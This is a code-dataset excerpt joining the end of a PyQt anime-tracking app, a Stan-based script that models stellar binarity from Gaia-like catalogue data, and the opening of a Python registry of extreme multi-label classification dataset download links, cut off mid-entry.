self._showing_episodes = True\n\n    def get_table(self, status: UserStatus) -> QTableWidget:\n        if status is UserStatus.COMPLETED:\n            return self.ui.CompletedTable\n        elif status in (UserStatus.CURRENT, UserStatus.REPEATING):\n            return self.ui.WatchingTable\n        elif status is UserStatus.PLANNING:\n            return self.ui.PlanningTable\n        elif status is UserStatus.DROPPED:\n            return self.ui.DroppedTable\n        elif status is UserStatus.PAUSED:\n            return self.ui.PausedTable\n\n        raise TypeError(f\"Cannot find table for {status}\")\n\n    def get_headers(\n        self,\n        table: QTableWidget,\n        *,\n        _headers: Optional[Dict[str, bool]] = None,\n    ) -> Dict[str, bool]:\n        \"\"\"Returns the headers specified for this table\"\"\"\n        headers: Dict[str, bool] = {}\n\n        if _headers is None:\n            _headers = self._header_labels\n\n        # Loop through defaults\n        for header, default in _headers.items():\n            # Get override from config\n            opt = self.app._config.get_option(header, section=table.objectName())\n            if opt is None:\n                opt = default\n\n            headers[header] = opt\n\n        return headers\n\n    def open_anime_settings(self, anime: Union[Anime, AnimeCollection]):\n        # Anime settings stuff\n        m = self.anime_menu = QTabWidget()\n        s = self.anime_window = Ui_AnimeInfo()\n        self.anime_window.setupUi(self.anime_menu)\n        # Bro why is this modifable in the designer? Stupid\n        s.AnimeUpdateSuccess.setVisible(False)\n\n        # Pull up anime info\n        s.AnimeTitleLabel.setText(\"\\n\".join(t for t in anime.titles if t))\n        s.AnimeDescriptionLabel.setText(anime.description)\n        s.AnimeGenresLabel.setText(\"\\n\".join(anime.genres))\n        tags = sorted(anime.tags, key=lambda t: t[1], reverse=True)\n        tagfmt = \"\\n\".join(f\"{tag[0]} {tag[1]}%\" for tag in tags)\n        s.AnimeTagsLabel.setText(tagfmt)\n        s.AnimeStudioLabel.setText(anime.studio)\n        s.AnimeSeasonLabel.setText(anime.season)\n        s.AnimeAverageScoreLabel.setText(f\"{anime.average_score}%\")\n        s.AnimeEpisodesLabel.setText(str(anime.episode_count))\n        if isinstance(anime, AnimeCollection):\n            s.AnimeNotes.setText(anime.notes)\n            s.AnimeUserScore.setValue(anime.score)\n            s.AnimeUpdateButton.clicked.connect(  # type: ignore\n                functools.partial(self.signals.update_anime_from_settings, anime)\n            )\n        else:\n            s.AnimeNotesLabel.setVisible(False)\n            s.AnimeUserScoreLabel.setVisible(False)\n            s.AnimeUserScore.setVisible(False)\n            s.AnimeNotes.setVisible(False)\n            s.AnimeUpdateButton.setVisible(False)\n        m.setFixedSize(m.size())\n\n        m.show()\n\n\n# Attach uncaught exceptions, so they can be logged\ndef handle_exception(exc_type, exc_value, exc_traceback):\n    if issubclass(exc_type, KeyboardInterrupt):\n        sys.__excepthook__(exc_type, exc_value, exc_traceback)\n        return\n\n    logger.error(\"Uncaught exception\", exc_info=(exc_type, exc_value, exc_traceback))\n\n\nsys.excepthook = handle_exception\n\n\ndef main():\n    app = QApplication(sys.argv)\n\n    window = MainWindow(app)\n    window.setFixedSize(window.size())\n    window.show()\n    window._orig_size = (window.width(), window.height())  # type: ignore\n    window._with_eps = (window.width() + 310, window.height())  # type: ignore\n\n    ret = app.exec_()\n    window.stop_threads()\n    sys.exit(ret)\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "Phxntxm/AniTracker", "sub_path": "anitracker/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 15125, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "81", "api": [{"api_name": "functools.partial", "line_number": 22, "usage_type": "attribute"}, {"api_name": "anitracker.media.Anime", "line_number": 23, "usage_type": "argument"}, {"api_name": "anitracker.media.Anime", "line_number": 24, "usage_type": "argument"}, {"api_name": "anitracker.media.AnimeCollection", "line_number": 30, "usage_type": "argument"}, {"api_name": "anitracker.ui.Ui_AnimeApp", "line_number": 43, "usage_type": "call"}, {"api_name": "anitracker.anitracker.AniTracker", "line_number": 45, "usage_type": "call"}, {"api_name": "anitracker.signals.SignalConnector", "line_number": 47, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 91, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 127, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 131, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 139, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 145, "usage_type": "call"}, {"api_name": "anitracker.signals.MouseFilter", "line_number": 147, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 150, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 253, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 257, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 276, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus.COMPLETED", "line_number": 277, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 277, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus.CURRENT", "line_number": 279, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 279, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus.REPEATING", "line_number": 279, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus.PLANNING", "line_number": 281, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 281, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus.DROPPED", "line_number": 283, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 283, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus.PAUSED", "line_number": 285, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 285, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 294, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 294, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 297, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 295, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 313, "usage_type": "name"}, {"api_name": "anitracker.media.Anime", "line_number": 313, "usage_type": "name"}, {"api_name": "anitracker.media.AnimeCollection", "line_number": 313, "usage_type": "name"}, {"api_name": "anitracker.ui.Ui_AnimeInfo", "line_number": 316, "usage_type": "call"}, {"api_name": "anitracker.media.AnimeCollection", "line_number": 332, "usage_type": "argument"}, {"api_name": "functools.partial", "line_number": 336, "usage_type": "call"}, {"api_name": "sys.__excepthook__", "line_number": 352, "usage_type": "call"}, {"api_name": "anitracker.logger.error", "line_number": 355, "usage_type": "call"}, {"api_name": "anitracker.logger", "line_number": 355, "usage_type": "name"}, {"api_name": "sys.excepthook", "line_number": 358, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 362, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 372, "usage_type": "call"}]}
{"seq_id": "8052915218", "text": "\n\n\"\"\"\nNon-parametric model of binarity and single stars across the H-R diagram.\n\"\"\"\n\n\nimport numpy as np\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport pickle\nfrom astropy.table import Table\nfrom astropy.io import fits\nfrom scipy import (spatial, optimize as op)\nfrom sklearn import neighbors as neighbours\nfrom time import time\n\nimport velociraptor\nimport stan_utils as stan\nimport npm_utils\n\nfrom corner import corner\n\nnp.random.seed(123)\n\nDEBUG_PLOTS = False\n\ndata_path = \"data/rv-all-subset-1e4.fits\"\n#data = fits.open(data_path)[1].data\ndata = Table.read(data_path)\ndata[\"rv_single_epoch_scatter\"] = data[\"rv_single_epoch_variance\"]**0.5\n\n\n\n# [1] Construct KD-Tree\n# [2] Select a random X number of stars\n# [3] Construct some way to get nearest neighbour results that are not Null???\n#       --> select the next nearest star? or one star in the volume that does not have results?\n# [3] Run the optimization etc.\n\n\n# what labels are we going to build the KD-tree in?\nkdt_label_names = (\"bp_rp\", \"absolute_rp_mag\", \"phot_rp_mean_mag\")\n\n\npredictor_label_names = (\n    \"rv_single_epoch_scatter\",\n    \"astrometric_unit_weight_error\",\n    \"phot_bp_rp_excess_factor\",\n    \"rv_abs_diff_template_teff\",\n)\n\nparameter_names = [\"theta\", \"mu_single\", \"sigma_single\", \"mu_multiple\",\n    \"sigma_multiple\"]\n\n\nX_kdt = np.vstack([data[ln] for ln in kdt_label_names]).T\n# TODO: Right now I am *requiring* that all predictor labels and KD-Tree\n#       labels are finite, but we may want to change this in the future.\nall_label_names = tuple(list(kdt_label_names) + list(predictor_label_names))\nsubset = np.all(np.isfinite(np.vstack([data[ln] for ln in all_label_names])), axis=0)\nX_kdt = X_kdt[subset]\nX_scale = np.ptp(X_kdt, axis=0)\nX_mean = np.mean(X_kdt, axis=0)\n\n_scale = lambda a: (a - X_mean)/X_scale\n_descale = lambda a: a * X_scale + X_mean\n\n# Normalise the array for the KD-tree\nX_norm = _scale(X_kdt)\n\n# Construct the KD-Tree\nkdt = npm_utils.build_kdt(X_norm)\n\ndata = data[subset]\n\nmodel = stan.load_stan_model(\"npm.stan\")\n\n\n# Calculate the total number of parameters\nM = len(data)\nL = len(predictor_label_names)\nK = 1 + 4 * L\n\nopt_params = np.empty((M, K))\n\n#subset_points = np.random.choice(M, size=1000, replace=False)\n#for i in range(M):\n\n#for j, i in enumerate(subset_points):\nfor j, i in enumerate(range(M)):\n\n    print(\"At point {}/{}: {}\".format(j, M, i))\n\n    k_indices, dist = npm_utils.get_ball_around_point(kdt, X_norm[[i]],\n                                                      full_output=True)\n\n    y = np.array([data[ln][k_indices] for ln in predictor_label_names]).T\n    N, D = y.shape\n    \n    init_values = npm_utils.get_initialization_point(y)\n    init_dict = dict(zip(parameter_names, npm_utils._unpack_params(init_values, D)))  \n    init_dict[\"mu_multiple_uv\"] = 0.5 * np.ones(D)\n\n    data_dict = dict(y=y, N=N, D=D)\n\n    opt_kwds = dict(\n        data=data_dict,\n        init=init_dict,\n        verbose=False,\n        tol_obj=7./3 - 4./3 - 1, # machine precision\n        tol_grad=7./3 - 4./3 - 1, # machine precision\n        tol_rel_grad=1e3,\n        tol_rel_obj=1e4,\n        iter=10000)\n\n\n    t_init = time()\n    p_opt = model.optimizing(**opt_kwds)\n    t_opt = time() - t_init\n\n    print(\"Optimization took {:.2f} seconds\".format(t_opt))\n    \n    del p_opt[\"mu_multiple_uv\"]\n\n    for k in p_opt.keys():\n        if k == \"theta\":  continue\n        p_opt[k] = np.atleast_1d(p_opt[k])\n\n    opt_params[i] = npm_utils._pack_params(**p_opt)\n\n    print(\"Single star fraction at this point: {:.2f}\".format(opt_params[i, 0]))\n\n    if DEBUG_PLOTS:\n\n        print(\"Running DEBUG plots\")\n\n        for l, predictor_label_name in enumerate(predictor_label_names):\n\n            fig, ax = plt.subplots()\n            xi = np.linspace(\n                np.min(data_dict[\"y\"].T[l].flatten()), \n                np.max(data_dict[\"y\"].T[l].flatten()),\n                1000)\n\n            ax.hist(data_dict[\"y\"].T[l].flatten(), bins=50, facecolor=\"#cccccc\", zorder=-1)\n\n\n            show = init_dict\n            ax.plot(xi, N * npm_utils.norm_pdf(xi, show[\"mu_single\"][l], show[\"sigma_single\"][l], show[\"theta\"]), c='r')\n            ax.plot(xi, N * npm_utils.lognorm_pdf(xi, show[\"mu_multiple\"][l], show[\"sigma_multiple\"][l], show[\"theta\"]), c='b')\n\n            show = p_opt\n            ax.plot(xi, N * npm_utils.norm_pdf(xi, show[\"mu_single\"][l], show[\"sigma_single\"][l], show[\"theta\"]), c='m')\n            ax.plot(xi, N * npm_utils.lognorm_pdf(xi, show[\"mu_multiple\"][l], show[\"sigma_multiple\"][l], show[\"theta\"]), c='y')\n            \n                \n        samples  = model.sampling(**stan.sampling_kwds(\n            data=opt_kwds[\"data\"], init=p_opt, iter=2000, chains=2))\n\n        chains_dict = samples.extract()\n        if L == 1:\n            chains  = np.vstack([\n                chains_dict[\"theta\"],\n                chains_dict[\"mu_single\"],\n                chains_dict[\"sigma_single\"],\n                chains_dict[\"mu_multiple\"],\n                chains_dict[\"sigma_multiple\"]\n            ]).T\n\n        else:\n            chains  = np.hstack([\n                np.atleast_2d(chains_dict[\"theta\"]).T,\n                chains_dict[\"mu_single\"],\n                chains_dict[\"sigma_single\"],\n                chains_dict[\"mu_multiple\"],\n                chains_dict[\"sigma_multiple\"]\n            ])\n\n\n        fig = corner(chains)\n\n        # Make plots of the pdf of each distribution.\n        for l, predictor_label_name in enumerate(predictor_label_names):\n\n            xi = np.linspace(np.min(y.T[l]), np.max(y.T[l]), 1000)\n\n            indices = np.random.choice(len(chains), 100, replace=False)\n\n            fig, ax = plt.subplots()\n            for index in indices:\n                \n                idx_theta = parameter_names.index(\"theta\")\n                idx_norm_mu = parameter_names.index(\"mu_single\")\n                idx_norm_sigma = parameter_names.index(\"sigma_single\")\n                idx_lognorm_mu = parameter_names.index(\"mu_multiple\")\n                idx_lognorm_sigma = parameter_names.index(\"sigma_multiple\")\n                \n\n                theta = chains[index, 0]\n                norm_mu = chains[index, 1 + l]\n                norm_sigma = chains[index, 1 + L + l]\n                lognorm_mu = chains[index, 1 + 2*L + l]\n                lognorm_sigma = chains[index, 1 + 3*L + l]\n\n                ax.plot(xi, npm_utils.norm_pdf(xi, norm_mu, norm_sigma, theta), c='r', alpha=0.1)\n                ax.plot(xi, npm_utils.lognorm_pdf(xi, lognorm_mu, lognorm_sigma, theta), c='b', alpha=0.1)\n                \n            _ = ax.hist(y.T[l], bins=500, facecolor=\"#000000\", zorder=-1, normed=True)\n            print(y.size)\n\n            ax.set_title(predictor_label_name.replace(\"_\", \" \"))\n\n\n        raise a\n\n\n\n\nwith open(\"rv-all-subset-1e4-optimized-unconstrained.pickle\", \"wb\") as fp: \n    pickle.dump(opt_params, fp, -1)\n\n\n\ndef normal_lpdf(y, mu, sigma):\n    ivar = sigma**(-2)\n    return 0.5 * (np.log(ivar) - np.log(2 * np.pi) - (y - mu)**2 * ivar)\n\ndef lognormal_lpdf(y, mu, sigma):\n    ivar = sigma**(-2)\n    return - 0.5 * np.log(2 * np.pi) - np.log(y * sigma) \\\n           - 0.5 * (np.log(y) - mu)**2 * ivar\n\n\n\nfrom scipy.special import logsumexp\n\n# Calculate log-probabilities for all of the stars we considered.\ndef membership_probability(y, p_opt):\n\n    y = np.atleast_1d(y)\n    theta, s_mu, s_sigma, m_mu, m_sigma = npm_utils._unpack_params(p_opt)\n\n    assert s_mu.size == y.size, \"The size of y should match the size of mu\"\n\n\n    D = y.size\n    ln_prob = np.zeros((D, 2))\n    for d in range(D):\n        ln_prob[d] = [\n            normal_lpdf(y[d], s_mu[d], s_sigma[d]),\n            lognormal_lpdf(y[d], m_mu[d], m_sigma[d])\n        ]\n\n    # TODO: I am not certain that I am summing these log probabilities correctly\n\n    sum_ln_prob = np.sum(ln_prob, axis=0) # per mixture\n    ln_likelihood = logsumexp(sum_ln_prob)\n\n    with np.errstate(under=\"ignore\"):\n        ln_membership = sum_ln_prob - ln_likelihood\n\n    return np.exp(ln_membership)\n\n\ny = np.array([data[ln] for ln in predictor_label_names]).T\nN, D = y.shape\n\np_single = np.array([membership_probability(y[i], opt_params[i])[0] for i in range(N)])\n\n\n# Now calculate the amount of excess RV variance\n\ndef rv_excess_scatter(y, p_opt, label_index):\n\n    y = np.atleast_1d(y)\n    _, s_mu, s_sigma, __, ___ = npm_utils._unpack_params(p_opt)\n\n    assert s_mu.size == y.size, \"The size of y should match the size of mu\"\n\n    rv_single_epoch_excess = np.sqrt(y[label_index]**2 - s_mu[label_index]**2)\n    rv_single_epoch_significance = rv_single_epoch_excess/s_sigma[label_index]\n\n    return (rv_single_epoch_excess, rv_single_epoch_significance)\n\n\nli = list(predictor_label_names).index(\"rv_single_epoch_scatter\")\nrv_excess = np.array([\n    rv_excess_scatter(y[i], opt_params[i], li) for i in range(N)])\n\n# Remember that the probabilities of binarity take into acocunt more than just\n# the radial velocity excess!\n\n# Make a corner plot of the various properties? Coloured by probabilities?\n\n\n\nwith open(\"rv-all-subset-1e4-results.pickle\", \"wb\") as fp: \n    pickle.dump((subset, opt_params, predictor_label_names, p_single, rv_excess), fp, -1)\n\n", "repo_name": "andycasey/velociraptor", "sub_path": "npm.py", "file_name": "npm.py", "file_ext": "py", "file_size_in_byte": 9130, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.random.seed", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 24, "usage_type": "attribute"}, {"api_name": "astropy.table.Table.read", "line_number": 30, "usage_type": "call"}, {"api_name": "astropy.table.Table", "line_number": 30, "usage_type": "name"}, {"api_name": "numpy.vstack", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.isfinite", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.ptp", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 64, "usage_type": "call"}, {"api_name": "npm_utils.build_kdt", "line_number": 73, "usage_type": "call"}, {"api_name": "stan_utils.load_stan_model", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 85, "usage_type": "call"}, {"api_name": "npm_utils.get_ball_around_point", "line_number": 95, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 98, "usage_type": "call"}, {"api_name": "npm_utils.get_initialization_point", "line_number": 101, "usage_type": "call"}, {"api_name": "npm_utils._unpack_params", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 103, "usage_type": "call"}, {"api_name": "time.time", "line_number": 118, "usage_type": "call"}, {"api_name": "time.time", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 128, "usage_type": "call"}, {"api_name": "npm_utils._pack_params", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 143, "usage_type": "call"}, {"api_name": "npm_utils.norm_pdf", "line_number": 150, "usage_type": "call"}, {"api_name": "npm_utils.lognorm_pdf", "line_number": 151, "usage_type": "call"}, {"api_name": "npm_utils.norm_pdf", "line_number": 154, "usage_type": "call"}, {"api_name": "npm_utils.lognorm_pdf", "line_number": 155, "usage_type": "call"}, {"api_name": "stan_utils.sampling_kwds", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 163, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 172, "usage_type": "call"}, {"api_name": "numpy.atleast_2d", "line_number": 173, "usage_type": "call"}, {"api_name": "corner.corner", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 188, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}, {"api_name": "npm_utils.norm_pdf", "line_number": 206, "usage_type": "call"}, {"api_name": "npm_utils.lognorm_pdf", "line_number": 207, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 227, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 231, "usage_type": "attribute"}, {"api_name": "numpy.log", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 241, "usage_type": "call"}, {"api_name": "npm_utils._unpack_params", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 248, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 257, "usage_type": "call"}, {"api_name": "scipy.special.logsumexp", "line_number": 258, "usage_type": "call"}, {"api_name": "numpy.errstate", "line_number": 260, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 263, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 266, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 269, "usage_type": "call"}, {"api_name": "numpy.atleast_1d", "line_number": 276, "usage_type": "call"}, {"api_name": "npm_utils._unpack_params", "line_number": 277, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 288, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 299, "usage_type": "call"}]}
{"seq_id": "42851941459", "text": "import gzip\nimport json\nimport re\nimport requests\nimport warnings\nimport zipfile\nfrom sys import stdout\nfrom os import makedirs, path, remove\nimport numpy as np\nfrom scipy.sparse import csr_matrix\nfrom ._napkinxc import _load_libsvm_file\n\n\n# List of all available datasets\nDATASETS = {\n    'eurlex-4k': {\n        'name': 'EURLex-4K',\n        'formats': ['bow'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGU0VTR1pCejFpWjg', # XMLC repo url\n            'dir': 'Eurlex',\n            'train': 'eurlex_train.txt',\n            'test': 'eurlex_test.txt',\n            'file_format': 'libsvm',\n        }\n    },\n    'eurlex-4.3k': {\n        'name': 'EURLex-4.3K',\n        'formats': ['bow'],\n        'subsets': ['train', 'test', 'validation'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=1b3mWgaKIAmc9Ae3E0QrokiIFA9Qj1K9r', # XMLC repo url\n            'dir': 'EURLex-4.3K',\n            'train': 'train.txt',\n            'test': 'test.txt',\n            'validation': 'validation.txt',\n            'file_format': 'libsvm',\n        }\n    },\n    'amazoncat-13k': {\n        'name': 'AmazonCat-13K',\n        'formats': ['bow', 'raw'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGa2tMbVJGdDNSMGc', # XMLC repo url\n            'dir': 'AmazonCat',\n            'train': 'amazonCat_train.txt',\n            'test': 'amazonCat_test.txt',\n            'file_format': 'libsvm',\n        },\n        'raw': {\n            'url': 'https://drive.google.com/uc?export=download&id=17rVRDarPwlMpb3l5zof9h34FlwbpTu4l', # XMLC repo url\n            'dir': 'AmazonCat-13K.raw',\n            'train': 'trn.json.gz',\n            'test': 'tst.json.gz',\n            'file_format': 'jsonlines',\n            'features_fields': ['title', 'content'],\n            'labels_field': 'target_ind'\n        }\n    },\n    'amazoncat-14k': {\n        'name': 'AmazonCat-14K',\n        'formats': ['bow', 'raw'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGaDFqU2E5U0dxS00', # XMLC repo url\n            'dir': 'AmazonCat-14K',\n            'train': 'amazonCat-14K_train.txt',\n            'test': 'amazonCat-14K_test.txt',\n            'file_format': 'libsvm',\n        },\n        'raw': {\n            'url': 'https://drive.google.com/uc?export=download&id=1vy1N-lDdDfuoo0CNwFE11hb3INCpJHFx', # XMLC repo url\n            'dir': 'AmazonCat-14K.raw',\n            'train': 'trn.json.gz',\n            'test': 'tst.json.gz',\n            'file_format': 'jsonlines',\n            'features_fields': ['title', 'content'],\n            'labels_field': 'target_ind'\n        }\n    },\n    'wiki10-31k': {\n        'name': 'Wiki10-31K',\n        'formats': ['bow'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGaDdOeGliWF9EOTA', # XMLC repo url\n            'dir': 'Wiki10',\n            'train': 'wiki10_train.txt',\n            'test': 'wiki10_test.txt',\n            'file_format': 'libsvm',\n        }\n    },\n    'deliciouslarge-200k': {\n        'name': 'DeliciousLarge-200K',\n        'formats': ['bow'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGR3lBWWYyVlhDLWM', # XMLC repo url\n            'dir': 'DeliciousLarge',\n            'train': 'deliciousLarge_train.txt',\n            'test': 'deliciousLarge_test.txt',\n            'file_format': 'libsvm',\n        }\n    },\n    'wikilshtc-325k': {\n        'name': 'WikiLSHTC-325K',\n        'formats': ['bow'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGSHE1SWx4TVRva3c', # XMLC repo url\n            'dir': 'WikiLSHTC',\n            'train': 'wikiLSHTC_train.txt',\n            'test': 'wikiLSHTC_test.txt',\n            'file_format': 'libsvm',\n        }\n    },\n    'wikiseealsotitles-350k': {\n        'name': 'WikiSeeAlsoTitles-350K',\n        'formats': ['bow', 'raw'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=1bHtiLVF5EFsVL3qyU7y5e3M-fYHvXsG9', # XMLC repo url\n            'dir': 'WikiSeeAlsoTitles-350K',\n            'train': {'X': 'trn_X_Xf.txt', 'Y': 'trn_X_Y.txt'},\n            'test': {'X': 'tst_X_Xf.txt', 'Y': 'tst_X_Y.txt'},\n            'file_format': 'XY_sparse',\n        },\n        'raw': {\n            'url': 'https://drive.google.com/uc?export=download&id=1sxPHzlnotUKjbtVRe0GuXGfSI7YhBSdc', # XMLC repo url\n            'dir': 'WikiSeeAlsoTItles-350K',\n            'train': 'trn.json.gz', # Type is there on purpose\n            'test': 'tst.json.gz',\n            'file_format': 'jsonlines',\n            'features_fields': ['title', 'content'],\n            'labels_field': 'target_ind'\n        }\n    },\n    'wikititles-500k': {\n        'name': 'WikiTitles-500K',\n        'formats': ['bow', 'raw'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=11U4qDWKvsR6pCzLvY3APckx-R_ihyMih', # XMLC repo url\n            'dir': 'WikiTitles-500K',\n            'train': {'X': 'trn_X_Xf.txt', 'Y': 'trn_X_Y.txt'},\n            'test': {'X': 'tst_X_Xf.txt', 'Y': 'tst_X_Y.txt'},\n            'file_format': 'XY_sparse',\n        },\n        'raw': {\n            'url': 'https://drive.google.com/uc?export=download&id=1YStqoa6_5Qxd9FpExTNt-_tcXUhYXUFM', # Marek Wydmuch's reupload\n            'dir': 'Wikipedia-500K.raw',\n            'train': 'trn.raw.json.gz',\n            'test': 'tst.raw.json.gz',\n            'file_format': 'jsonlines',\n            'features_fields': ['title'],\n            'labels_field': 'target_ind'\n        }\n    },\n    'wikipedialarge-500k': {\n        'name': 'WikipediaLarge-500K',\n        'formats': ['bow', 'raw'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGRmEzVDVkNjBMR3c', # XMLC repo url\n            'dir': 'WikipediaLarge-500K',\n            'train': 'WikipediaLarge-500K_train.txt',\n            'test': 'WikipediaLarge-500K_test.txt',\n            'file_format': 'libsvm',\n        },\n        'raw': {\n            'url': 'https://drive.google.com/uc?export=download&id=1YStqoa6_5Qxd9FpExTNt-_tcXUhYXUFM', # Marek Wydmuch's reupload\n            'dir': 'Wikipedia-500K.raw',\n            'train': 'trn.raw.json.gz',\n            'test': 'tst.raw.json.gz',\n            'file_format': 'jsonlines',\n            'features_fields': ['title', 'content'],\n            'labels_field': 'target_ind'\n        }\n    },\n    'amazontitles-670k': {\n        'name': 'AmazonTitles-670K',\n        'formats': ['bow', 'raw'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=1OKnaLu4SDMOQ69rHdwF8ExKkeF2SZw7z', # XMLC repo url\n            'dir': 'AmazonTitles-670K',\n            'train': {'X': 'trn_X_Xf.txt', 'Y': 'trn_X_Y.txt'},\n            'test': {'X': 'tst_X_Xf.txt', 'Y': 'tst_X_Y.txt'},\n            'file_format': 'XY_sparse',\n        },\n        'raw': {\n            'url': 'https://drive.google.com/uc?export=download&id=1FPqD8Wns7NXTSYDAcK4ZsqUUGABLyZMn', # XMLC repo url\n            'dir': 'AmazonTitles-670K',\n            'train': 'trn.json.gz',\n            'test': 'tst.json.gz',\n            'file_format': 'jsonlines',\n            'features_fields': ['title'],\n            'labels_field': 'target_ind'\n        }\n    },\n    'amazon-670k': {\n        'name': 'Amazon-670K',\n        'formats': ['bow', 'raw'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGdUJwRzltS1dvUVk', # XMLC repo url\n            'dir': 'Amazon',\n            'train': 'amazon_train.txt',\n            'test': 'amazon_test.txt',\n            'file_format': 'libsvm',\n        },\n        'raw': {\n            'url': 'https://drive.google.com/uc?export=download&id=16FIzX3TnlsqbrwSJJ2gDih69laezfZWR', # XMLC repo url\n            'dir': 'Amazon-670K.raw',\n            'train': 'trn.raw.json.gz',\n            'test': 'tst.raw.json.gz',\n            'file_format': 'jsonlines',\n            'features_fields': ['title', 'content'],\n            'labels_field': 'target_ind'\n        }\n    },\n    'amazontitles-3m': {\n        'name': 'AmazonTitles-3M',\n        'formats': ['bow', 'raw'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=1PGzippnzIcgVNYZ8qQKVb0GNiARjQxvV', # XMLC repo url\n            'dir': 'AmazonTitles-3M',\n            'train': {'X': 'trn_X_Xf.txt', 'Y': 'trn_X_Y.txt'},\n            'test': {'X': 